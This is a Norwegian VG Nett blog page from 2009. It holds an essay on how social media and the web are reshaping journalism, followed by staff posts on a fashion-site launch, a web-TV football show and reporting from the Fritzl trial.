Dette tankesett og håndverk er utviklet gjennom århundrer. Den moderne avis er 400 år gammel og ble skapt i god tid før Galileo Galilei i 1613 utfordret det rådende verdensbildet om at jorden var universets sentrum. Satt litt på spissen har det ikke skjedd stort mer produktutvikling siden den gangen enn at tegneseriene fikk plass i avisene fra 1894 og at det ble fargefotografi på alle sider 100 år senere. 

Produktutvikling i journalistikken er i stor grad initiert av tekniske muligheter.Telegrafen ga redaksjonene tilgang på oppdatert informasjon (fra de byene som hadde linjer), og tvang samtidig journalistene til å skrive i en form hvor det viktigste poenget kom først (det var ikke sikkert hele telegrammet kom fram). TV var i begynnelsen radio med levende bilder, men utviklet seg raskt på egne premissermed bildereportasjer, direktesendinger og tilstedeværelse. 

Felles for all medievirksomhet de siste 400 årene er at den er bygd på enveiskommunikasjon (vi forteller, dere lytter) og at oppstart av ny medievirksomhet har krevd betydelige økonomiske investeringer i utstyr, mennesker og infrastruktur. Digital kommunikasjon snur opp ned på dette. Det koster i dag mindre enn en sykkel å starte publisistisk virksomhet. Nye medier er samtale – ikke enetale. 

Den digitale supertanker er bygget av… 

Igjen er teknikken utgangspunktet for de endringene som skjer: Plattformene for å produsere, distribuere og konsumere medieinnhold har smeltet sammen til én. Ogfor første gang snakker vi med hverandre på samme plattform som vi konsumerer medieinnhold.  

Det betyr en absolutt demokratisering av muligheten til å publisere i det offentlige rom. Det betyr også at pressen ikke lenger kan knytte sin identitet og fag til kun å være avsender.  

Men selv om utgangspunktet er teknisk, er den største endringskraften som virker på journalistikken drevet fram av det sosiale aspektet ved nettet: Den endrer måten innhold skapes på, den endrer journalistrollen, den endrer distribusjonsformene, den endrer måten innhold konsumeres på og den endrer de økonomiske rammebe- tingelsene journalistikken lever under. 

I det følgende skal jeg gå gjennom de ulike delene som nye medier er bygd av. Det er deler som hver for seg er kraftfulle, men som sammen blir til den mest effektive plattform for å utføre det journalistiske oppdrag vi har sett til nå: Den digitale supertankeren. 

 

De er der vi ikke er

Troverdigheten til en nyhetsorganisasjon handler blant annet om evnen til å være tidlig, aller helst først, med relevant informasjon. Tiden da en papiravis kunne være den første til å frambringe detaljert informasjon og bilder fra en hendelsesnyhet er definitivt forbi. 

 Da US Airways flight 1549 nødlandet i Hudson River den 15. januar i år var verken CNN, Fox News, New York Times eller for den saks skyld VG Nett på stedet. Det var derimot Janis Krums fra Sarasota i Florida. Han var passasjer på fergensom først ankom havaristen, og med sitt mobilkamera tok han det historiske første bildet som viser passasjerer som står til knes i vann ute på vingen. 

Minutter senere sendte han bildet til sin mikroblogg på Twitter med teksten: ”There’s a plane in the Hudson, I’m on the ferry going to pick up the people. Crazy.” Bildet ble straks plukket opp av andre mikrobloggere, sendt rundt til atter andre blogger og nyhetsnettsteder og koblet med mer informasjon fra flere øyenvitner. 

 Men Krums var ikke først med å rapportere nyheten. Allerede fire minutter etter nødlandingen sendte Jim Hanrahan ut melding på sin Twitter-konto: “I just watched a plane crash into the hudson riv [sic] in manhattan”. Det skulle ta 15 minutter før nyhetsmediene plukket opp historien. Da var det allerede dusinvis av meldinger, bilder og videoer ute på ulike sosiale nettsteder. Også passasjerer i flyet bidro med informasjon via tekstmeldinger og telefoner. Som i en slags snøballeffekt ble ny informasjon, hundrevis av bilder og videoer lagt til, etterprøvd og systematisert minutt for minutt.

 Fordi bloggerne lenker til hverandre er informasjonen etterprøvbar. Rykter og feilinformasjon blir avslørt, det vesentlige flyter opp til overflaten, det uvesentlige synker. I en slags nyhetsdugnad jobber etablerte nyhetsorganisasjoner og den offentlige ”detektiv” sammen med samme mål for øyet: Å raskt kartlegge hva som har skjedd. 

 Minutter etter at Janis Krums hadde sendt ut sitt bilde på minibloggen ble hanintervjuet på direktesending av MSNBC. Deretter fulgte en endeløs rekke intervjuer på TV, radio, aviser og nettsteder. I det ene øyeblikket var han sin egen publisist, i det neste primærkilde for medier over hele verden.  Her oppsummererKrums noen dager senere på sin egen blogg : ”I thinkit is incredible that anyone at any point can have such an impact by simply posting a picture online. Anyone with a camera phone can report breaking news. I don’tthink that twittering, flickering, etc., will replace traditional news coverage. But, it can be a great aid for the traditional media channels”

Leserne korrigerer, legger til og diskuterer 

Det er ikke slik at alle som tidligere var lesere nå publiserer artikler, video og bilder. En slags tommelfingerregel kan være at en prosent er aktive med å produserea eget innhold, ni prosent er villige til å interagere, korrigere eller komme med innspill og 90 prosent er lesere. 

 Det største potensial for å heve kvaliteten på journalistikken ligger i å skape en relasjon til de ni prosentene. En nettjournalist som er tilgjengelig via e-post, kommentarfelt eller andre mekanismer får en jevn strøm av innspill og korrigeringer. Fordi tilbakemeldingsfunksjonen er en integrert del av artikkelen, er det enkelt å nå journalisten og redaksjonen. De journalistene som makter å bruke denne informasjonen og svare lesere som sender innspill, bygger samtidig en personlig relasjon til verdifulle lesere. En leser som opplever å bli tatt på alvor henvender seg naturlig til nettopp denne journalisten neste gang hun har et nyhetstips.  

 Alle moderne medier åpner opp for lyttere, lesere og seere på debattsider, debattprogram etc. Plassmangelen gjør likevel at kun noen få slipper til, og da ofte på bakgrunn av at de har posisjon i kraft av jobb eller verv. Mange nettaviser har valgt å lage forum hvor ”alle” kan delta. 

Disse debattene er i funksjon og form grunnleggende forskjellige fra en kronikk i for eksempel Morgenbladet. Nettdebattene har samtalens form. Den pågår gjerne i realtid, ofte med flere samtidige deltakere, og kan gå over timer. Det er ikke nødvendigvis fullt gjennomtenkte resonnementsrekker, samtale er sjeldent det.  Som i all samtale fungerer den kun hvis den kan løpe fritt. Hvis du først må melde og få godkjent hva du skal si til en ordstyrer, finner du heller et annet sted å snakke. En forsvinnende liten del av det innholdet som skapes er klassisk debatt i den forstand at det er ulike synspunkter som brynes mot hverandre. I langt større grad er det erfaringsutveksling og kommentarer til noe andre har skrevet.

Gode kommentarer til en redaksjonell artikkel hever kvaliteten for leserne fordi det blir presentert flere ulike perspektiver. Leserne har gjerne konkrete erfaringersom blir verdifulle bidrag journalisten ikke har forutsetning for å formidle. De beste debattene og bidragene på nettet er der journalisten eller bloggeren deltar aktivt selv. I VG Nett har vi vært flinke til å lage arenaer hvor leserne kan utfolde seg, men dårlige til selv å være tilstede på disse arenaene. I alt for stor grad bedriver vi fortsatt enetale – også på nettet. 

Det skrives ting i avisenes nettforum som ikke kunne vært presentert på redaksjonell plass. Det kommer til overflaten holdninger og utsagn de fleste av oss ikke liker. Ytringsfrihet er og har alltid vært vanskelig å håndtere. 

Vi fjerner innhold, vi stenger enkelt brukere ute og vi samarbeider med politiet der det etterforskes lovovertredelser. Kommentarer og innhold som presenteres sammen med redaksjonelt innhold blir på VG Nett forhåndsredigert, mens leserforu- mene postmodereres.

Å kreve forhåndsredigering eller stenging av alt leserinnhold under nettmedienes paraply vil imidlertid være å stenge oss selv ute fra den offentlige samtale. Da svekker vi vår mulighet for å utøve en av våre viktige oppgaver – formulert i starten av Vær Varsom-plakaten: ”Pressen ivaretar viktige oppgaver som informasjon, debatt og samfunnskritikk. Pressen har et spesielt ansvar for at ulike syn kommer til uttrykk.” Det er forstemmende å se at en yrkesgruppe som heiser ytringsfrihets-fanen høyt hver gang den blir kritisert, gjemmer seg bak den samme fanen straks flere får likeverdig mulighet til å ytre seg. 

Alt kommer for en dag 

Barack Obama ble løftet fram som president fordi han klarte å kombinere et enormt politisk talent med en kampanje som effektivt engasjerte millioner av mennesker via elektroniske medier.  Han snakket med, ikke til velgerne og gjorde dem til aktive deltakere i kampanjen.  

Ironisk nok er det de samme mekanismene som kan felle han. Neste gang en amerikansk president blir presset til å gå av skjer det neppe etter avsløringer fra to enslig hardt arbeidende journalister godt nedgravd i arkiver og kilder. Mer trolig skjer det etter en kollektiv innsats hvor tusenvis av amatører i samarbeid med profesjonelle journalister, bloggere og kildene selv, setter sammen biter av informasjon til et større bilde. 

Ingen skandale av Watergates dimensjoner er så langt avslørt ved hjelp av denne type mekanismer, men stadig kommer det eksempler på at den fungerer. Da gravejournalistikkens flaggskip CBS 60 Minutes tilsynelatende dokumenterte at George W. Bush som ung soldat jukset seg bort fra deltakelse i Vietnamkrigens startet en dugnad blant bloggere og på nettforum for å ettergå dokumentasjonen. I løpet av timer ble det avslørt at et dokument som angivelig skulle være fra 1974 umulig kunne være ekte. Fonten det var skrevet på var ikke i omløp den gangen, men er standard innstilling på PC-programmet Microsoft Word. Etter to ukers massivt press måtte CBS innrømme brøleren.

Det blir stadig vanskeligere å holde på informasjon som bør fram – alt flyter opp og kommer for en dag. Gravejournalistikk vil i framtiden drives sammen med lesere og bloggere. Likevel er det klart: En oppfølgingsfilm til ”Alle Presidentens Menn” må bli en traurig affære med 4000 personer i hovedrollene.

Er deadline en dødslinje? 

Da jeg begynte i VG Nett i 2000 avskaffet jeg ordet ”deadline”.  Nå tenker vi i stedet prosess og ”fødsel”. Vi starter en artikkel og bygger ut etter hvert som vi får bekreftet opplysninger og nytt materiale kommer til. Setningen ”VG Nett kommer tilbake med mer” bærer både bud om at saken er under utvikling, og at vi er tilbake med mer straks noe nyhetsverdig har skjedd. 

Denne arbeidsmetodikken får også konsekvenser for den journalistiske form. Der papirjournalistikken i sin natur er fasitorientert (slik så verden ut da vi gikk i trykken klokken 22 i går), er nettet langt mer prosessorientert (det kommer motstridende meldinger men…). Nettjournalistikken har ingen deadline, men saker dørlangsomt hen når det ikke lenger finnes en journalistisk beveggrunn for å oppdatere. 

Tid spiller også en avgjørende rolle i hvordan og når moderne mennesker konsumerer media. Avis trykkes på bestemte tidspunkt, TV og radio er lineær publisering. Forretningsmodellen og distribusjonsformen (kringkasting) er knyttet til at flest mulig ser eller hører et program samtidig. Den tar ikke hensyn til ungenes leggetid, telefon fra svigerfar eller at du tilfeldigvis sitter på en buss når ditt favorittprogram sendes. 

Nettets styrke er asynkron publisering. Leseren velger selv når, hvor og hvordan hun vil konsumere innholdet. Innholdet tilpasses et utall ulike plattformer, fra små mobiltelefoner til store flatskjermer, og er tilgjengelig og søkbar for all framtid. Kombinert med at redaksjonene publiserer fortløpende, gir dette en medial kraftpakke som utkonkurrerer deadline-mediene på det å levere relevant nyhetsinnhold til riktig tid. 

Bredde, dybde og kontekst

Den største feiloppfatningen om innhold på nettet er at det er overfladisk og kort. Men vil du være oppdatert om Midtøsten-konflikten, Obama, ereksjonssvikt, Hamsun- eller Darwin-jubileet, vårens mote eller finanskrisen, er det i dag ingen vei utenom nettet. Nettet har verken begrensning på sidetall eller tid. Som journalist behøver du ikke være redd for å kjede leseren med for lange innsag eller artikler. Mens fjernsynet mister seere hvis nyhetsinnslaget er for langt, skjer det på nettet ikke annet enn at leseren avslutter innslaget og går videre til neste sak. Den interesserte leseren blir til slutten av innslaget, eller klikker seg videre til mer informasjon via lenker i saken.  

Lenketeknologien gjør at dybdeinformasjon på nett presenteres annerledes enn på papir. Der papiravisen skriver lengre artikler eller utvider sideantallet, presenteres dybdeinformasjon på nettet ved hjelp av lenker til flere artikler og mer informasjon. Det kan være tidligere artikler fra eget medium som danner bakgrunn forhistorien, eller deler av dybdeinformasjonen som presenteres i egen artikkel.  Men det kan like gjerne være lenker til eksterne nettsteder som journalisten mener er relevant for saken. En mer transparent journalistikk

Denne mangel på plassmangel tvinger fram en mer transparent journalistikk. Fordi vi kan publisere merinformasjon, forventes det også at vi gjør det. Fordi vi kan lenke videre til presis og relevant informasjon forventes det at vi gjør det. Vi kan publisere hele rapporten vi omtaler, videoopptaket med hele Røkke-intervjuet eller lenke til en artikkel fra en konkurrerende mediebedrift vi siterer.  Slik får leseren anledning til å kikke oss i kortene og selv gjøre seg opp en mening om journalisten gir en rimelig framstilling av saken. 

Igjen er det bloggerne og de sosiale mediene som viser vei. En blogg eller en artikkel uten lenker er en blindvei. Det hviler automatisk et skjær av mistanke over en blogger som ikke lenker: Hva har hun å skjule? Effekten forsterkes dersom journalisten ikke er tilgengelig for innspill og spørsmål fra leserne via e-post eller blogg.  En lukket journalist som verken tilgjengeliggjør materiale eller kommuniserer med sine lesere vil over tid miste sin troverdighet og relevans. Omvendt får den åpne journalisten leserne på sin side og drar nytte av innpill, korreksjoner og tips fra leseren. 

Flere og sterkere fortellerteknikker

Fra et fortellerteknisk perspektiv ligger styrken i nettjournalistikken i at redaksjonen kan bruke de teknikkene som er mest effektive for å få fram akkurat denne historien. Mens TV jo må bruke levende bilder i hele sin sendeflate, vil den bevisste nettjournalist kun bruke video der disse levende bildene tilfører historien ekekstra dimensjon. Mens plassmangelen i avis begrenser bildebruken til noen få enkeltbilder, gir nettet anledning til å bruke mange bilder, og å kombinere dem med lyd, video, grafikk etc. 

I tillegg til de nevnte fortellerteknikkene som hver for seg er kjent fra tradisjonell medievirksomhet, vokser det fram en rekke teknikker som er unike for digital formidling. Nettredaksjonene, min egen inkludert, har ikke vært flinke nok til å ta nettets muligheter i bruk. I alt for stor grad ”trykkes” innhold på nett i en form som til forveksling likner papiravis. Likevel ser vi daglig eksempler på hva som kan gjøres, og vi ser kimen til en type journalistikk som er uhyre effektiv og leservennlig. 

Journalistisk prosess, redigering og distribusjon blir ett

Til nå har mediene hatt kontroll på distribusjon av eget innhold. Avisen blir levert på døren eller kjøpes i kiosken, TV-stasjonene ligger på fast plass på TVen og programmene sendes på de tidene stasjonen bestemmer. Også nettavisene slik vi har kjent dem siden starten i 1995 har fungert slik at leseren aktivt oppsøker en nettadresse for å lese akkurat dette innholdet. 

Digital formidling endrer dette, og de siste årene har det vært en dramatisk utvikling i hvordan innhold når leserne. Mest iøynefallende er Googles posisjon som en (meget lønnsom) mellommann mellom produsentene og konsumentene av innhold. Via selskapets gode søkemotor og en rekke andre brukervennlige verktøy kontrollerer Google en stor del av trafikkmønsteret på nettet. Hvis vi ser bort fra de største nettavisene i Sverige og Norge, er de aller fleste av verdens nettaviser totalt avhengig av trafikk fra Google. VG Nett er i en særstilling. Kun tre prosent av trafikken til redaksjonelt innhold kommer fra Google. 

Mindre iøynefallende, men trolig med like stor betydning for innholdsdistribusjoni framtiden er nettets delingskultur. Et konkret eksempel: Journalist Kristine Löwe har en konto på mikrobloggtjenesten Twitter (@kristinelowe), hvor hun skriver små innlegg på maks 140 tegn. (Det er ikke mye, setningen foran denne er på 144 tegn og dermed for lang). Innleggene er typisk tips om artikler, blogger eller debatter om digital medieutvikling som hun mener andre interesserte vil ha nytte av.

Ofte går lenkene til eksterne innholdsprodusenter, men noen ganger også til innlegg Löwe selv har skrevet på sin egen blogg

I Twitter-meldingen skriver hun en kort forklarende setning etterfulgt av en klikkbar nettadresse. I skrivende stund er jeg en av 680 andre brukere som følger Kristine Löwe. Internett er stort, min tid er knapp og jeg er derfor avhengig at noen andre hjelper meg å finne det innholdet som er relevant for min jobb og mitt liv. Löwe er en av en knippe ”redaktører” jeg opplever gir meg dette. Hvordan vet jeg om hennes mikroblogg? Fordi andre mikrobloggere har lenket til og videresendt innlegg fra Löwe som de har funnet nyttig. Slik har jeg blitt oppmerksom på hennes navn og innhold, og jeg har funnet det nyttig å følge hennes innholdsstrøm. 

Journalisten blir et merkenavn

Löwe selv vil trolig kun bruke tid på dette så lenge hun selv opplever det som nyttig for egen virksomhet. Hun skaffer seg et nettverk som hjelper henne å holde seg oppdatert på eget fagområde, som hun kan kontakte ved behov, og som kontakter henne som journalist når de har noe relevant å berette.

En logisk følge av delingskulturen er at de journalistene og de mediene som makter å kommunisere og agere med leserne vil stå langt sterkere enn de som ikke gjør det. De mediene som er avskåret fra digitale relasjoner, for eksempel ved at de kun er til stede på papir eller kringkasting, vil over tid bli irrelevante. Det samme vil de mediene som er til stede på digitale plattformer men som velger å fortsette enetalen, og ikke delta i samtalen. Alle medier og journalister, også de analoge, må skaffe seg digitale relasjoner til omverden. Utfordringen for de som kun publiserer på papir eller velger å lukke sitt innhold inn bak betalingsmurer, er at de avskjærer seg selv fra den viktigste mekanismen i delingsøkonomien: Kun den som har noe å gi, får noe tilbake! 

Det ene, store, altoverskyggende spørsmål

Verden trenger journalistikk, og verden trenger en fri presse. Men om journalistikken konsumeres digitalt eller på papir er neppe viktig. I vår har det gått en debatt om kvalitetsjournalistikk. Debatten skygger for det som må være det sentrale, nemlig at nettet er den mest effektive bæreren av det journalistiske oppdrag: Å informere, holde vakt, rapportere, engasjere, underholde og skape samfunnsdebatt. 

Kritikerne av digital journalistikk gjør kardinalfeilen at de bedømmer den ut fra hva den har vært, ikke hva den er i ferd med å bli. Store deler av bransjen framholder enveiskommunikasjonen, vi forteller, dere leser, som en kvalitet. I virkeligheten har den i 400 år vært bransjens største svakhet. 

De største og flotteste seilskutene ble bygd etter at de motoriserte fartøyene var et faktum. Rederne gjorde mer av det de kunne fra før. På samme måte pågår det nå en medial trøstespising: Flere sider, flere bilag, flere seksjoner, flere kommentarer, større byline-bilder – enda mer enveiskommunikasjon. 

Den største trusselen mot journalistikken er kanskje at bransjen selv ikke har tatt inn over seg at paradigmeskiftet allerede har skjedd. Hvis vi selv insisterer på å fortsette å bygge seilskuter i tre, bygger noen andre motoriserte fartøyer i stål.  

Men kritikerne har rett på ett punkt. De journalistiske kraftsentrene ligger fortsatt i de ”gamle” mediene. Nettredaksjonene er fortsatt bedre på å følge nyhetsbildet enn å drive det. Selv om vi her i Norge har klart å lage lønnsom digital mediedrift, er det fortsatt for liten omsetning til å kunne kompensere for inntektssvikten i de tradisjonelle mediene. Selv om VG Nett nå har langt flere lesere enn papiravisen, har vi fortsatt ikke økonomi til å bære tilsvarende redaksjonelle satsinger som moderorganet. Journalistikk koster!

Det ene, store altoppslukende spørsmålet som bransjen nå må løse er derfor: Hvordan skal vi finansiere fremtidens journalistikk?

Flere artikler fra Redaktørforeningens årbok finner du her

Tips oss hvis dette innlegget er upassende

av Lucas | mars 31, 2009  

Hvorfor lanserte vi minMote ?

Nå har vi nesten vært oppe i én uke med motesiten minMote.no, og engasjementet blant leserne og trafikken har vært over all forventning. Mer om det senere.

Først skal jeg fortelle litt om hvorfor vi lanserte minMote.no?
(mer…)

Tips oss hvis dette innlegget er upassende

av Ola Enger Stenberg | mars 30, 2009  

Ser du på Før Avspark?

KLIKK PÅ BILDET FOR Å SE FØR AVSPARK!

KLIKK PÅ BILDET FOR Å SE FØR AVSPARK!

Sportstabloid, Bakrommet, Fotballextra, Matcball mandag og Waschera Fotball. Du og jeg pepres med fotballmagasiner på TV om dagen. Og på web-TV. Før Avspark heter vårt program.

La oss starte med guttene du ser mest av i programmet. Jamel Rake er programleder – og det har han vært siden programmet ble startet opp i 2008. Hans faste makker er Knut Espen Svegaarden, eller Svea som vi kaller han. Mr Fotball i VG-huset. Svea vet alt om fotball, har vært med i en årrekke, og morsomst synes jeg; Han har fryktelig mye innsideinformasjon fra fotballmiljøet. Svea er og forblir et unikum på fotball. Jamel er ikke så langt bak, den eneste forskjellen er vel bare at han er yngre og har noen færre år på baken. Jamel er også en fotballgutt fra topp til tå, og han kjenner det som er verdt å kjenne i miljøet.

Hvordan ble egentlig Før Avspark til? Som med veldig mye annet i VG Nett. Svea og Jamel fikk det for seg at de ville lage et fotballmagasin på VGTV. Også gjorde de det. Jamel hadde aldri vært foran kamera, mens Svea til da stort sett hadde holdt seg til blokk og blyant. Nå har de tatt oss gjennom et titalls sendinger – og blitt kjente fjes for fotballglade nordmenn.

Jeg hevder for tiden at Før Avspark er et litt annerledes fotballprogram, men da snakker jeg ikke bare om uttrykket. Hele produksjonen og tankegangen er annerledes. Først og fremst lages det med langt færre ressurser enn våre konkurrenter på TV.

Vi har laget fire program så langt i år – og på de fire sendingene har vi hatt godt over 400.000 visninger. Dette er ikke et forsøk på å være ovenpå, men jeg tror jeg er i nærheten av sannheten hvis disse tallene viser at vi gir skikkelig konkurranse til våre kolleger i TV 2 og NRK. Og det er litt gøy.

Det er gøy fordi det bekrefter at det er mulig å treffe folket og skape god TV uten å svi av noen hundre tusen og en haug med folk hver uke.

Før Avspark spilles inn mandag kveld og torsdag formiddag. Altså, vi har under normale omstendigheter to “sendinger” i uka. Dette programmet blir alltid i sin helhet lagt ut på VGTV, men i tillegg publiserer vi alle de ulike temaene i programmet som egne videoerm (og om litt blir alle programmene indeksert i tillegg). På den måten kan vi gi deg “nytt” Før Avspark-innhold på forsiden hver dag hele uken gjennom. Før Avspark er egentlig et program som aldri slutter så lenge det er fotballsesong.

I tillegg til Jamel, Svea og undertegnede, har vi Pål R. Hansen med på laget. Jeg har jobbet mye med Pål siden jeg startet i VG Nett 2004. På livesendinger, reportasjeturer og mye annet. Pål er teknisk ansvarlig på VG Nett, og sitter i regirommet når vi lager sendinger eller andre større TV-rigg. Kort fortalt: Det Pål ikke vet om teknikk på VGTV og web-TV generelt, det trenger du ikke å vite. Han har lært seg faget gjennom mange år i VG Nett og er supermann på web-TV. Nettopp derfor kan han ikke bevege seg en halvmeter i VG-huset uten at noen har et teknisk spørsmål. Pål skal senere i denne bloggen fortelle dere om teknikk, studio og annet som rører seg av ledninger, kameraer og annet snacks i VGTV-redaksjonen.

Med på laget er også journalist og ekspert, Espen Solbakken (ja, han er broren til Ståle). Espen ble hentet fra Romerikes Blad på nyåret – og er i likhet med Jamel og Svea – en stor ressurs for fotballgruppa. Lang erfaring og tyngde når han snakker om norsk og utenlandsk fotball. Espen har også sin egen blogg hos oss – les den her!

Også må vi ikke glemme krølltoppen, Eirik Borud. En meget ivrig og dyktig VJ, som ikke er redd for å dra ut på kort varsel for å lage godt innhold til Før Avspark – eller andre prosjekter på VG Nett-sporten. Med i fotballgruppa i år har vi også en annen VJ med stort engasjement, David Andresen, mens en tredje VJ, Marianne Tessem, har jobbet hardt med VGTV-serien “Fotballfruer” denne vinteren og våren. Nok en TV-serie på VGTV løst med et kamera og en person – i likhet med for eksempel “Proffdrømmen”.

For de som ikke har fått med seg årets utgave av Før Avspark, skal jeg kort fortelle om hva vi lager. Først og fremst sørger Jamel, Svea og aktuelle gjester for fotballfaglig diskusjon rundt det som har skjedd den siste serierunden – eller før en serierunde. I tillegg har jeg nok en gang fått lov til å samle litt historie på VGTV. Denne gangen er det fotballegender som får fortelle hvordan det var i gamle dager gjennom konseptet “Gamlekara”. Vi har møtt flere av dem allerede – og foreløpig har dere hørt mest til Terje “Henger’n” Hellerud. Hvorfor det har vært mest med han handler ganske enkelt om at VIF-veteranene er noe for seg selv. Men dere skal få møte flere! Jeg har vært på kaffe og hjemmebakst hos Einar Bruno Larsen, samt noen dommerveteraner og andre fotballegender.

Gamlekara er for øvrig blitt populære andre steder om dagen også. Se en video-reportasje med Bruno og Henger’n hos Fredrikstad Blad. Jeg har sett at de nå også dukker opp på VIF-TV.

I tillegg til “Gamlekara” presenterer vi hver uke et annet nytt konsept, “Baksnakk”. Dette norske fotballspillere som utleverer sine lagkamerater med et stort glimt i øyet. Vi har noen faste spørsmål vi fyrer av, også får du i løpet av noen minutter vite hvem på laget som har mest draget, hvem som danser best, hvem som er mest jålete og hvem som er lengst i dusjen – for å nevne noe. Vi har møtt mange spillere allerede, så her er banken full av morsomme intervjuer. Det er bare å glede seg.

I tillegg plukker vi ut noen dommersituasjoner hver uke, presenterer VGs dommerbørs, vi deler ut “ukens kaktus” med hjelp av VGDs ivrige fotballdebattanter, og vi plukker ut en situasjon vi mener er “ukens prestasjon” i eliteserien. I tillegg kommer rundens mål-kåringer, noen morsomme retroklipp, quiz – og mye, mye mer.

For ikke å snakke om ALLE kampene i eliteserien direkte hver uke på VG LIVE.

Vi gleder oss til fortsettelsen. Jeg håper også du gjør det.

Og har du noen innspill til oss i Før Avspark-redaksjonen – send en e-post eller skriv en kommentar her. Du finner oss på foravspark@vg.no.

Tips oss hvis dette innlegget er upassende

av René Svendsen | mars 23, 2009  

Knallstart for MinMote.no

VG Netts nye motesatsning har som ambisjon å bli Norges største. Det kan MinMote.no bli allerede på første dag.

Fra før er KK.no det største motenettstedet som listes på TNS Metrix toppliste for dagtrafikk.  I uke 11 hadde KK cirka 35.000 unike besøkende i snitt per dag, som leste 140.000 sider.  Allerede tre timer etter lanseringen av MinMote i dag, hadde vi hatt 12.500 unike besøkende innom, og de hadde lest 20.000 sider. Dermed har vi mulighet til å slå KK både hva angår unike besøkende og leste sider allerede på første dag.

Dette er vi selvsagt strålende fornøyd med, og alle som har jobbet med MinMote på VG Nett feiret seg selv med en ispinne i ettermiddag.

PS! Takket være arbeidet med MinMote avdekket vi en hittil ukjent feil med VGB.no (som ligger på samme server), slik at bloggene våre nå laster mye raskere enn før ;-)

Tips oss hvis dette innlegget er upassende

av Stian Eisenträger | mars 21, 2009  

Sirkus Fritzl har forlatt byen

En time etter dommen falt begynte Fritzl-sirkuset å pakkes sammen.

En time etter dommen falt begynte Fritzl-sirkuset å pakkes sammen.

VG Netts journalist Stian Eisenträger var i St. Pölten i Østerrike og dekket Fritzl-rettssaken. Her forteller han om hvordan det var å rapportere fra det som er blitt karakterisert som århundrets rettssak.

Josef Fritzl hadde ikke før fått sin dom, før sirkuset begynte å pakke sammen: Gjerdene rundt domstolens inngang ble demontert og løftet opp på en lastebil, strukkede TV-kabler ble rullet sammen igjen, mens de første satellittbilene trillet ut fra presseområdet.

Før verdenspressen invaderte den lille delstatshovedstaden St. Pölten, fantes det en fin plen foran den ærverdige rettbygningen. Nå står et gjennomtråkket gjørmehull tilbake. Sirkus-assosiasjonene er mange.

Over 200 journalister var på det meste presset sammen i teltet.

Over 200 journalister var på det meste presset sammen i teltet.

For oss journalister har det vært en utfordring å dekke Fritzl-rettssaken. Først og fremst på grunn av at store deler av rettssaken ble holdt for lukkede dører. At ikke videoavhørene med datteren Elisabeth var unntatt offentlighet på grunn av offervernet har jeg all mulig respekt for. Men hva var det Elisabeths bror kunne fortelle retten som offentligheten ikke burde høre? Og hvorfor ikke tillate journalister å høre på de sakkyndiges mening om babyen som døde?

Dessuten var det bare 95 pressefolk som fikk tilgang til rettssalen den lille tiden retten var åpen. Sammen med et hundretalls andre journalister ble undertegnede derfor henvist til et eget telt hundre meter bortenfor rettsbygningen.

Presseteltet (egentlig et festtelt) ble min base de fire dagene rettssaken varte. Her tilbrakte jeg mellom 10 og 12 timer om dagen, når jeg da ikke sto utenfor inngangen til retten og twitret. Inventaret besto av en del bord og benker av samme type man finner på en hvilken som helst tysk ølfest, et tjuetall plaststoler og et podium som ble brukt under de daglige pressekonferansene klokken 16 med domstolens talsmann og fengselssjefen. For at vi skulle kunne følge med på det som skjedde inne i rettssalen, var det satt opp én 32-tommers flatskjerm, mens det trådløse nettverket kunne forsvinne like fort som det kom når 200 pressefolk samtidig skulle sende hjem bilder og video. Når nettet var maksimalt belastet, fungerte imidlertid mikroblogging via Twitter fortsatt flott. Aller siste nytt kom opp under byline-boksen min i artiklene lynkjapt, og rundt 100 spesielt interesserte la meg til på sine profiler. Dette faktumet, samt hyggelige tilbakemeldinger fra leserne, varmet godt.

Her er jeg fotografert inne i presseteltet sammen med min kollega Erika fra Aftonbladet.se som hjalp meg med å lage TV-innslag fra Østerrike.

Her er jeg fotografert inne i presseteltet sammen med min kollega Erika fra Aftonbladet.se som hjalp meg med å lage TV-innslag fra Østerrike.

For til å varme opp det 150 kvadratmeter store teltet hadde myndighetene nemlig kun bestilt én stakkarslig liten ovn. Flere ganger hadde jeg problemer med å treffe riktige taster på tastaturet fordi fingrene var iskalde, og nå som det hele er over kjenner jeg på en begynnende forkjølelse. De kummerlige arbeidsforholdene ble toppet med like kummerlige sanitærforhold. På den annen side er jo dette bare småtterier sammenliknet med hva slags forhold Elisabeth Fritzl måtte leve under nede i farens fangekjeller.

Den anerkjente rettspsykiateren Reinhard Haller kaller Fritzl-saken for århundrets kriminaltilfelle. Omfanget, tidsperspektivet og groteskheten i forbrytelsene – som kun er utført av én person – har tiltrukket interessen og fascinasjonen til mennesker verden over. Det misliker østerrikske myndigheter på flere nivåer, som helst ikke vil at Østerrike skal få riper i imaget sitt.

Dette har gitt flere merkverdige utslag. St. Pölten, som var “vertsby” for Fritzl-rettssaken, benyttet anledningen til å dele ut informasjonsmapper hvor det ble reklamert om at byen er landets eldste, den beste byen å gifte seg i, er vertskap for en rockefestival og diverse sportsarrangementer. På toppen av alt inviterte byens borgermester til “get together” med servering i rådhuset for utenlandske journalister den ene dagen og byrundtur den neste. Usmakelig og malplassert? Ja, begge deler.

Krimreporter Erik Wiman fra Aftonbladet.se og jeg samarbeidet også under Fritzl-saken.

Krimreporter Erik Wiman fra Aftonbladet.se og jeg samarbeidet også under Fritzl-saken.

“Østerrike har denne uken misbrukt sjansen til å vise at landet har et oppegående justisvesen, et solid sosialsystem – og er villig til å lære av feil” skrev min kollega Hans Chr. Hansson tidligere denne uken i en kommentar. Jeg er så enig med ham.

Rettssaken mot Josef Fritzl har i stor grad vært preget av iscenesettelse fra myndighetenes side, samt en hang til å kontrollere informasjon. I tillegg var dette en sak man tydeligvis ville få raskt overstått. Dette gir grunn til å begynne å lure om der er noe å skjule. Slik saken er blitt håndtert står flere betimelige spørsmål fortsatt ubesvart. Blant annet: Hvor mye visste Josef Fritzls kone, og hvorfor fikk ikke myndighetene den minste mistanke om at noe var riv ruskende galt under sine kontrollbesøk og da den ene ungen etter den andre dukket opp på dørstokken til “bestefar”?

For meg personlig er det fortsatt uforståelig hvordan Josef Fritzl kunne gjøre det han gjorde. Hadde alle med en vanskelig oppvekst og et tøft forhold til sine foreldre blitt incest-forbrytere og sperret sitt eget avkom inne i et hemmelig fangehull i et kvart århundre, ville vi vel hatt mange flere slike tilfeller. Det er imidlertid viktig, mener jeg, å huske at Josef Fritzl er et menneske – at man ikke fraskriver han som et monster eller udyr, og tar det til seg at et menneske kan være i stand til å utføre ondskap med en groteskhet som overgår ens villeste fantasier. Det betyr nemlig at det samme kan skje hvor som helst hvor det er mennesker, også hos oss.

Aftonbladet.se sin TV-fotograf Erika Sjöling hjalp meg å lage denne standup-en utenfor Ybbsstrasse 40.

